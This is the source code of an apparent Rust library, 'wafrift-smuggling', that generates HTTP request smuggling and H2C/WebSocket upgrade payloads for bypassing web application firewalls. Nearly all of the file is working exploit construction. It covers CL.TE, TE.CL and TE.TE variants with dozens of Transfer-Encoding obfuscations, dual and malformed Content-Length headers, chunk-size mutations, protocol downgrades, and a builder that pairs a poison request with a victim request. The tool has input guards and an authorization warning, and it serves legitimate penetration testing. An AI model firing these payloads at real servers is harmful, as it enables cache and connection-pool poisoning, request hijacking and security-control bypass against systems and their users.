wafrift-smuggling 0.2.15

HTTP request smuggling and HTTP/2 frame-level evasion payloads.
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
//! HTTP request smuggling payloads for WAF bypass.

use crate::safety::{Canary, guard_prefix_len, sanitize_input};

/// A smuggling payload ready to inject into a raw TCP connection.
#[derive(Debug, Clone)]
pub struct SmugglingPayload {
    pub description: String,
    pub variant: SmugglingVariant,
    pub raw_bytes: Vec<u8>,
    pub canary: Canary,
}

/// Which request-smuggling variant this payload targets.
#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
pub enum SmugglingVariant {
    ClTe,
    TeCl,
    TeTe,
    H2c,
    WebSocket,
    ClZero,
    DualCl,
    MultiValueCl,
    ClObfuscation,
    ChunkExtension,
    Http10,
    Http09,
    Pipeline,
    DetectClTe,
    DetectTeCl,
    MethodBody,
}

pub const DEFAULT_HTTP2_SETTINGS: &str = "AAMAAABkAARAAAAAAAIAAAAA";

fn ensure_crlf(s: &str) -> String {
    if s.ends_with("\r\n") {
        s.into()
    } else {
        format!("{s}\r\n")
    }
}

fn ensure_double_crlf(s: &str) -> String {
    if s.ends_with("\r\n\r\n") {
        s.into()
    } else if s.ends_with("\r\n") {
        format!("{s}\r\n")
    } else {
        format!("{s}\r\n\r\n")
    }
}

fn validate_host(host: &str) -> Result<String, crate::safety::SafetyError> {
    sanitize_input(host)
}

fn validate_prefix(prefix: &str) -> Result<String, crate::safety::SafetyError> {
    guard_prefix_len(prefix, 64 * 1024)?;
    Ok(prefix.into())
}

/// Generate all TE obfuscation mutations (Smuggler matrix + Unicode + nulls + quotes + case).
pub fn te_obfuscations() -> Vec<String> {
    let base = vec![
        "Transfer-Encoding: chunked",
        "Transfer-Encoding: xchunked",
        "Transfer-Encoding : chunked",
        "Transfer-Encoding\t: chunked",
        " Transfer-Encoding: chunked",
        "\tTransfer-Encoding: chunked",
        "Transfer-Encoding: chunked ",
        "Transfer-Encoding: chunked\t",
        "Transfer-Encoding: chunked\r\nTransfer-Encoding: identity",
        "Transfer-Encoding:\n chunked",
        "Transfer-Encoding:\r\n chunked",
    ];
    let unicode_ws: Vec<String> = [
        '\u{00a0}', '\u{0085}', '\u{1680}', '\u{2000}', '\u{2001}', '\u{2002}', '\u{2003}',
        '\u{2004}', '\u{2005}', '\u{2006}', '\u{2007}', '\u{2008}', '\u{2009}', '\u{200a}',
        '\u{2028}', '\u{2029}', '\u{212a}',
    ]
    .iter()
    .map(|c| format!("Transfer-Encoding:{c}chunked"))
    .collect();
    let nulls: Vec<String> = vec![
        "Transfer-Encoding: \x00chunked".into(),
        "\x00Transfer-Encoding: chunked".into(),
    ];
    let quotes: Vec<String> = vec![
        "Transfer-Encoding: \"chunked\"".into(),
        "Transfer-Encoding: 'chunked'".into(),
        "Transfer-Encoding: `chunked`".into(),
    ];
    let case_vars: Vec<String> = vec![
        "transfer-encoding: chunked".into(),
        "Transfer-encoding: Chunked".into(),
        "TRANSFER-ENCODING: CHUNKED".into(),
    ];
    let prefixes: Vec<String> = vec![
        "X-Transfer-Encoding: chunked".into(),
        "Transfer-Encodingx: chunked".into(),
    ];
    let line_terms: Vec<String> = vec![
        "Transfer-Encoding: chunked\r".into(),
        "Transfer-Encoding: chunked\n".into(),
    ];
    let mut out: Vec<String> = base.into_iter().map(String::from).collect();
    out.extend(unicode_ws);
    out.extend(nulls);
    out.extend(quotes);
    out.extend(case_vars);
    out.extend(prefixes);
    out.extend(line_terms);
    out
}

/// Backward-compatible CL.TE (hardcodes CL=0).
pub fn cl_te(
    host: &str,
    smuggled_prefix: &str,
) -> Result<SmugglingPayload, crate::safety::SafetyError> {
    cl_te_custom(host, smuggled_prefix, 0)
}

/// CL.TE with a custom Content-Length.
pub fn cl_te_custom(
    host: &str,
    smuggled_prefix: &str,
    content_length: usize,
) -> Result<SmugglingPayload, crate::safety::SafetyError> {
    let host = validate_host(host)?;
    let prefix = validate_prefix(smuggled_prefix)?;
    let prefix = ensure_double_crlf(&prefix);
    let body = format!("0\r\n\r\n{prefix}");
    let raw = format!(
        "POST / HTTP/1.1\r\n\
         Host: {host}\r\n\
         Content-Length: {content_length}\r\n\
         Transfer-Encoding: chunked\r\n\
         \r\n\
         {body}"
    );
    Ok(SmugglingPayload {
        description: format!("CL.TE CL={content_length}"),
        variant: SmugglingVariant::ClTe,
        raw_bytes: raw.into_bytes(),
        canary: Canary::generate(),
    })
}

/// Backward-compatible TE.CL (dynamically computes CL).
pub fn te_cl(
    host: &str,
    smuggled_prefix: &str,
) -> Result<SmugglingPayload, crate::safety::SafetyError> {
    let host = validate_host(host)?;
    let prefix = validate_prefix(smuggled_prefix)?;
    let smuggled = ensure_crlf(&prefix);
    let smuggled_bytes = smuggled.as_bytes();
    // Chunked framing per RFC: chunk-size CRLF, chunk-data (exactly N octets), CRLF, …, 0 CRLF CRLF.
    let chunk_size_line = format!("{:x}\r\n", smuggled_bytes.len());
    // CL covers just the first chunk-size line (e.g., "5\r\n" => 3 bytes for single-digit)
    let content_length = chunk_size_line.len();
    let mut raw = format!(
        "POST / HTTP/1.1\r\n\
         Host: {host}\r\n\
         Content-Length: {content_length}\r\n\
         Transfer-Encoding: chunked\r\n\
         \r\n"
    )
    .into_bytes();
    raw.extend_from_slice(chunk_size_line.as_bytes());
    raw.extend_from_slice(smuggled_bytes);
    raw.extend_from_slice(b"\r\n");
    raw.extend_from_slice(b"0\r\n\r\n");
    Ok(SmugglingPayload {
        description: format!("TE.CL CL={content_length}"),
        variant: SmugglingVariant::TeCl,
        raw_bytes: raw,
        canary: Canary::generate(),
    })
}

/// TE.TE with full obfuscation matrix.
pub fn te_te(
    host: &str,
    smuggled_prefix: &str,
    obfuscation_index: usize,
) -> Result<SmugglingPayload, crate::safety::SafetyError> {
    let obs = te_obfuscations();
    let te_header = &obs[obfuscation_index % obs.len()];
    let host = validate_host(host)?;
    let prefix = validate_prefix(smuggled_prefix)?;
    let prefix = ensure_double_crlf(&prefix);
    let body = format!("0\r\n\r\n{prefix}");
    let raw = format!(
        "POST / HTTP/1.1\r\n\
         Host: {host}\r\n\
         Content-Length: 0\r\n\
         {te_header}\r\n\
         \r\n\
         {body}"
    );
    Ok(SmugglingPayload {
        description: format!("TE.TE obfuscation {}", obfuscation_index % obs.len()),
        variant: SmugglingVariant::TeTe,
        raw_bytes: raw.into_bytes(),
        canary: Canary::generate(),
    })
}

/// CL.0 payload.
pub fn cl_zero(
    host: &str,
    smuggled_prefix: &str,
) -> Result<SmugglingPayload, crate::safety::SafetyError> {
    let host = validate_host(host)?;
    let prefix = validate_prefix(smuggled_prefix)?;
    let prefix = ensure_double_crlf(&prefix);
    let raw = format!(
        "POST / HTTP/1.1\r\n\
         Host: {host}\r\n\
         Content-Length: 0\r\n\
         \r\n\
         {prefix}"
    );
    Ok(SmugglingPayload {
        description: "CL.0".into(),
        variant: SmugglingVariant::ClZero,
        raw_bytes: raw.into_bytes(),
        canary: Canary::generate(),
    })
}

/// Dual-Content-Length payload.
pub fn dual_cl(
    host: &str,
    smuggled_prefix: &str,
    cl1: usize,
    cl2: usize,
) -> Result<SmugglingPayload, crate::safety::SafetyError> {
    let host = validate_host(host)?;
    let prefix = validate_prefix(smuggled_prefix)?;
    let prefix = ensure_double_crlf(&prefix);
    let raw = format!(
        "POST / HTTP/1.1\r\n\
         Host: {host}\r\n\
         Content-Length: {cl1}\r\n\
         Content-Length: {cl2}\r\n\
         \r\n\
         {prefix}"
    );
    Ok(SmugglingPayload {
        description: format!("Dual-CL {cl1}/{cl2}"),
        variant: SmugglingVariant::DualCl,
        raw_bytes: raw.into_bytes(),
        canary: Canary::generate(),
    })
}

/// Multi-value Content-Length.
pub fn multi_value_cl(
    host: &str,
    smuggled_prefix: &str,
) -> Result<SmugglingPayload, crate::safety::SafetyError> {
    let host = validate_host(host)?;
    let prefix = validate_prefix(smuggled_prefix)?;
    let prefix = ensure_double_crlf(&prefix);
    let raw = format!(
        "POST / HTTP/1.1\r\n\
         Host: {host}\r\n\
         Content-Length: 5, 6\r\n\
         \r\n\
         {prefix}"
    );
    Ok(SmugglingPayload {
        description: "Multi-value CL".into(),
        variant: SmugglingVariant::MultiValueCl,
        raw_bytes: raw.into_bytes(),
        canary: Canary::generate(),
    })
}

/// Content-Length formatting mutations.
pub fn cl_obfuscation(
    host: &str,
    smuggled_prefix: &str,
) -> Result<Vec<SmugglingPayload>, crate::safety::SafetyError> {
    let host = validate_host(host)?;
    let prefix = validate_prefix(smuggled_prefix)?;
    let prefix = ensure_double_crlf(&prefix);
    let values = vec!["+5", "05", "5 ", "\t5"];
    Ok(values
        .into_iter()
        .map(|v| {
            let raw = format!(
                "POST / HTTP/1.1\r\n\
                 Host: {host}\r\n\
                 Content-Length: {v}\r\n\
                 \r\n\
                 {prefix}"
            );
            SmugglingPayload {
                description: format!("CL-obfuscation '{v}'"),
                variant: SmugglingVariant::ClObfuscation,
                raw_bytes: raw.into_bytes(),
                canary: Canary::generate(),
            }
        })
        .collect())
}

/// Chunk-extension payload.
pub fn chunk_extension(
    host: &str,
    smuggled_prefix: &str,
) -> Result<SmugglingPayload, crate::safety::SafetyError> {
    let host = validate_host(host)?;
    let prefix = validate_prefix(smuggled_prefix)?;
    let prefix = ensure_double_crlf(&prefix);
    let body = format!("1;ext=foo\r\nX\r\n0\r\n\r\n{prefix}");
    let raw = format!(
        "POST / HTTP/1.1\r\n\
         Host: {host}\r\n\
         Transfer-Encoding: chunked\r\n\
         \r\n\
         {body}"
    );
    Ok(SmugglingPayload {
        description: "Chunk-extension".into(),
        variant: SmugglingVariant::ChunkExtension,
        raw_bytes: raw.into_bytes(),
        canary: Canary::generate(),
    })
}

/// Chunk-size formatting mutations.
pub fn chunk_size_mutations(
    host: &str,
    smuggled_prefix: &str,
) -> Result<Vec<SmugglingPayload>, crate::safety::SafetyError> {
    let host = validate_host(host)?;
    let prefix = validate_prefix(smuggled_prefix)?;
    let prefix = ensure_double_crlf(&prefix);
    let sizes = vec!["00000001", "1A", "1;", "1\t"];
    Ok(sizes
        .into_iter()
        .map(|sz| {
            let body = format!("{sz}\r\nX\r\n0\r\n\r\n{prefix}");
            let raw = format!(
                "POST / HTTP/1.1\r\n\
                 Host: {host}\r\n\
                 Transfer-Encoding: chunked\r\n\
                 \r\n\
                 {body}"
            );
            SmugglingPayload {
                description: format!("Chunk-size '{sz}'"),
                variant: SmugglingVariant::ChunkExtension,
                raw_bytes: raw.into_bytes(),
                canary: Canary::generate(),
            }
        })
        .collect())
}

/// GET/PUT/DELETE/... body smuggling.
pub fn method_body_smuggle(
    method: &str,
    host: &str,
    smuggled_prefix: &str,
) -> Result<SmugglingPayload, crate::safety::SafetyError> {
    let host = validate_host(host)?;
    let prefix = validate_prefix(smuggled_prefix)?;
    let prefix = ensure_double_crlf(&prefix);
    let raw = format!(
        "{method} / HTTP/1.1\r\n\
         Host: {host}\r\n\
         Content-Length: {}\r\n\
         \r\n\
         {prefix}",
        prefix.len()
    );
    Ok(SmugglingPayload {
        description: format!("Method-body {method}"),
        variant: SmugglingVariant::MethodBody,
        raw_bytes: raw.into_bytes(),
        canary: Canary::generate(),
    })
}

/// HTTP/1.0 persistence disagreement.
pub fn http10_persistence(
    host: &str,
    smuggled_prefix: &str,
) -> Result<Vec<SmugglingPayload>, crate::safety::SafetyError> {
    let host = validate_host(host)?;
    let prefix = validate_prefix(smuggled_prefix)?;
    let prefix = ensure_double_crlf(&prefix);
    Ok(vec![
        format!(
            "POST / HTTP/1.0\r\n\
             Host: {host}\r\n\
             Connection: keep-alive\r\n\
             Content-Length: {}\r\n\
             \r\n\
             {prefix}",
            prefix.len()
        ),
        format!(
            "POST / HTTP/1.0\r\n\
             Host: {host}\r\n\
             Proxy-Connection: keep-alive\r\n\
             Content-Length: {}\r\n\
             \r\n\
             {prefix}",
            prefix.len()
        ),
    ]
    .into_iter()
    .map(|raw| SmugglingPayload {
        description: "HTTP/1.0 persistence".into(),
        variant: SmugglingVariant::Http10,
        raw_bytes: raw.into_bytes(),
        canary: Canary::generate(),
    })
    .collect())
}

/// HTTP/0.9 simple-request smuggling.
pub fn http09_downgrade(
    host: &str,
    smuggled_prefix: &str,
) -> Result<SmugglingPayload, crate::safety::SafetyError> {
    let _host = validate_host(host)?;
    let prefix = validate_prefix(smuggled_prefix)?;
    let raw = format!("GET /\r\n{}", ensure_double_crlf(&prefix));
    Ok(SmugglingPayload {
        description: "HTTP/0.9 simple-request".into(),
        variant: SmugglingVariant::Http09,
        raw_bytes: raw.into_bytes(),
        canary: Canary::generate(),
    })
}

/// Pipeline builder: returns (poison, victim) byte sequences.
pub fn pipeline_builder(
    poison: &SmugglingPayload,
    victim_method: &str,
    victim_path: &str,
    host: &str,
) -> Result<(Vec<u8>, Vec<u8>), crate::safety::SafetyError> {
    let _host = sanitize_input(host)?;
    let _victim_method = sanitize_input(victim_method)?;
    let _victim_path = sanitize_input(victim_path)?;
    let victim = format!("{victim_method} {victim_path} HTTP/1.1\r\nHost: {host}\r\n\r\n");
    Ok((poison.raw_bytes.clone(), victim.into_bytes()))
}

/// Safe detection probe for CL.TE (causes back-end hang without socket poisoning).
pub fn detect_cl_te(host: &str) -> Result<SmugglingPayload, crate::safety::SafetyError> {
    let host = sanitize_input(host)?;
    // Short CL covering only part of the chunked body → back-end hangs waiting for rest
    let raw = format!(
        "POST / HTTP/1.1\r\n\
         Host: {host}\r\n\
         Content-Length: 6\r\n\
         Transfer-Encoding: chunked\r\n\
         \r\n\
         0\r\n\
         X\r\n\r\n"
    );
    Ok(SmugglingPayload {
        description: "Detect CL.TE (timing)".into(),
        variant: SmugglingVariant::DetectClTe,
        raw_bytes: raw.into_bytes(),
        canary: Canary::generate(),
    })
}

/// Safe detection probe for TE.CL.
pub fn detect_te_cl(host: &str) -> Result<SmugglingPayload, crate::safety::SafetyError> {
    let host = sanitize_input(host)?;
    // Valid chunked prefix but CL shorter than chunk data → back-end hangs
    let raw = format!(
        "POST / HTTP/1.1\r\n\
         Host: {host}\r\n\
         Content-Length: 4\r\n\
         Transfer-Encoding: chunked\r\n\
         \r\n\
         5\r\n\r\n\
         0\r\n\r\n"
    );
    Ok(SmugglingPayload {
        description: "Detect TE.CL (timing)".into(),
        variant: SmugglingVariant::DetectTeCl,
        raw_bytes: raw.into_bytes(),
        canary: Canary::generate(),
    })
}

/// Precedence test: both CL and TE present with matching body.
pub fn cl_te_precedence_test(
    host: &str,
) -> Result<Vec<SmugglingPayload>, crate::safety::SafetyError> {
    let host = sanitize_input(host)?;
    let body = "5\r\nhello\r\n0\r\n\r\n";
    let cl = body.len();
    Ok(vec![SmugglingPayload {
        description: "CL+TE precedence test".into(),
        variant: SmugglingVariant::ClTe,
        raw_bytes: format!(
            "POST / HTTP/1.1\r\n\
                 Host: {host}\r\n\
                 Content-Length: {cl}\r\n\
                 Transfer-Encoding: chunked\r\n\
                 \r\n\
                 {body}"
        )
        .into_bytes(),
        canary: Canary::generate(),
    }])
}

/// H2C upgrade smuggling.
pub fn h2c_smuggle(
    host: &str,
    http2_settings: Option<&str>,
) -> Result<SmugglingPayload, crate::safety::SafetyError> {
    let host = sanitize_input(host)?;
    let settings = http2_settings.unwrap_or(DEFAULT_HTTP2_SETTINGS);
    let raw = format!(
        "GET / HTTP/1.1\r\n\
         Host: {host}\r\n\
         Connection: Upgrade, HTTP2-Settings\r\n\
         Upgrade: h2c\r\n\
         HTTP2-Settings: {settings}\r\n\
         \r\n"
    );
    Ok(SmugglingPayload {
        description: "H2C upgrade".into(),
        variant: SmugglingVariant::H2c,
        raw_bytes: raw.into_bytes(),
        canary: Canary::generate(),
    })
}

/// H2C `--upgrade-only` variant.
pub fn h2c_upgrade_only_smuggle(
    host: &str,
) -> Result<SmugglingPayload, crate::safety::SafetyError> {
    let host = sanitize_input(host)?;
    let raw = format!(
        "GET / HTTP/1.1\r\n\
         Host: {host}\r\n\
         Connection: Upgrade\r\n\
         Upgrade: h2c\r\n\
         \r\n"
    );
    Ok(SmugglingPayload {
        description: "H2C upgrade-only".into(),
        variant: SmugglingVariant::H2c,
        raw_bytes: raw.into_bytes(),
        canary: Canary::generate(),
    })
}

/// Malformed HTTP2-Settings variants.
pub fn malformed_http2_settings(
    host: &str,
) -> Result<Vec<SmugglingPayload>, crate::safety::SafetyError> {
    let host = sanitize_input(host)?;
    let settings = vec!["!!!", "", "AA"];
    Ok(settings
        .into_iter()
        .map(|s| {
            let raw = format!(
                "GET / HTTP/1.1\r\n\
                 Host: {host}\r\n\
                 Connection: Upgrade, HTTP2-Settings\r\n\
                 Upgrade: h2c\r\n\
                 HTTP2-Settings: {s}\r\n\
                 \r\n"
            );
            SmugglingPayload {
                description: format!("H2C malformed settings '{s}'"),
                variant: SmugglingVariant::H2c,
                raw_bytes: raw.into_bytes(),
                canary: Canary::generate(),
            }
        })
        .collect())
}

/// H2C POST-body smuggling.
pub fn h2c_post_smuggle(
    host: &str,
    body: &[u8],
    http2_settings: Option<&str>,
) -> Result<SmugglingPayload, crate::safety::SafetyError> {
    let host = sanitize_input(host)?;
    let settings = http2_settings.unwrap_or(DEFAULT_HTTP2_SETTINGS);
    let content_length = body.len();
    let mut raw = format!(
        "POST / HTTP/1.1\r\n\
         Host: {host}\r\n\
         Connection: Upgrade, HTTP2-Settings\r\n\
         Upgrade: h2c\r\n\
         HTTP2-Settings: {settings}\r\n\
         Content-Length: {content_length}\r\n\
         \r\n"
    )
    .into_bytes();
    raw.extend_from_slice(body);
    Ok(SmugglingPayload {
        description: format!("H2C POST body={content_length}"),
        variant: SmugglingVariant::H2c,
        raw_bytes: raw,
        canary: Canary::generate(),
    })
}

/// WebSocket smuggling with a random nonce.
pub fn websocket_smuggle(
    host: &str,
    path: &str,
) -> Result<SmugglingPayload, crate::safety::SafetyError> {
    websocket_smuggle_custom(host, path, None, None)
}

/// WebSocket smuggling with custom key and optional protocols.
pub fn websocket_smuggle_custom(
    host: &str,
    path: &str,
    key: Option<&str>,
    protocols: Option<&str>,
) -> Result<SmugglingPayload, crate::safety::SafetyError> {
    let host = sanitize_input(host)?;
    let path = sanitize_input(path)?;
    if let Some(k) = key {
        crate::safety::guard_no_crlf(k)?;
    }
    if let Some(p) = protocols {
        crate::safety::guard_no_crlf(p)?;
    }
    let key = key.map_or_else(
        || {
            let mut nonce = [0u8; 16];
            rand::Rng::fill(&mut rand::thread_rng(), &mut nonce);
            base64::Engine::encode(&base64::engine::general_purpose::STANDARD, nonce)
        },
        std::string::ToString::to_string,
    );
    let protocol_header = protocols.map_or(String::new(), |p| {
        format!("Sec-WebSocket-Protocol: {p}\r\n")
    });
    let raw = format!(
        "GET {path} HTTP/1.1\r\n\
         Host: {host}\r\n\
         Connection: Upgrade\r\n\
         Upgrade: websocket\r\n\
         Sec-WebSocket-Key: {key}\r\n\
         Sec-WebSocket-Version: 13\r\n\
         {protocol_header}\r\n"
    );
    Ok(SmugglingPayload {
        description: "WebSocket upgrade".into(),
        variant: SmugglingVariant::WebSocket,
        raw_bytes: raw.into_bytes(),
        canary: Canary::generate(),
    })
}

/// All detection probes (safe, never poison sockets).
pub fn all_detection_probes(
    host: &str,
) -> Result<Vec<SmugglingPayload>, crate::safety::SafetyError> {
    Ok(vec![detect_cl_te(host)?, detect_te_cl(host)?])
}

/// All exploit payloads (requires `unsafe-probes` feature).
///
/// # Safety
/// Sends intentionally malformed or desynchronising HTTP traffic that may
/// corrupt downstream parser state, poison connection pools, or cause
/// request splitting. Only enable on targets you own or have explicit
/// written authorization to test.
#[cfg(feature = "unsafe-probes")]
pub fn all_payloads(
    host: &str,
    smuggled_prefix: &str,
) -> Result<Vec<SmugglingPayload>, crate::safety::SafetyError> {
    let mut out = vec![
        cl_te(host, smuggled_prefix)?,
        te_cl(host, smuggled_prefix)?,
        cl_zero(host, smuggled_prefix)?,
        h2c_smuggle(host, None)?,
        h2c_upgrade_only_smuggle(host)?,
        websocket_smuggle(host, "/")?,
        chunk_extension(host, smuggled_prefix)?,
        dual_cl(host, smuggled_prefix, 6, 5)?,
        multi_value_cl(host, smuggled_prefix)?,
        method_body_smuggle("GET", host, smuggled_prefix)?,
        http09_downgrade(host, smuggled_prefix)?,
    ];
    for i in 1..te_obfuscations().len().min(6) {
        out.push(te_te(host, smuggled_prefix, i)?);
    }
    out.extend(cl_obfuscation(host, smuggled_prefix)?);
    out.extend(chunk_size_mutations(host, smuggled_prefix)?);
    out.extend(http10_persistence(host, smuggled_prefix)?);
    out.extend(malformed_http2_settings(host)?);
    out.extend(cl_te_precedence_test(host)?);
    out.push(h2c_post_smuggle(host, b"test", None)?);
    out.push(websocket_smuggle_custom(host, "/ws", None, None)?);
    Ok(out)
}

#[cfg(test)]
#[path = "smuggling_tests.rs"]
mod tests;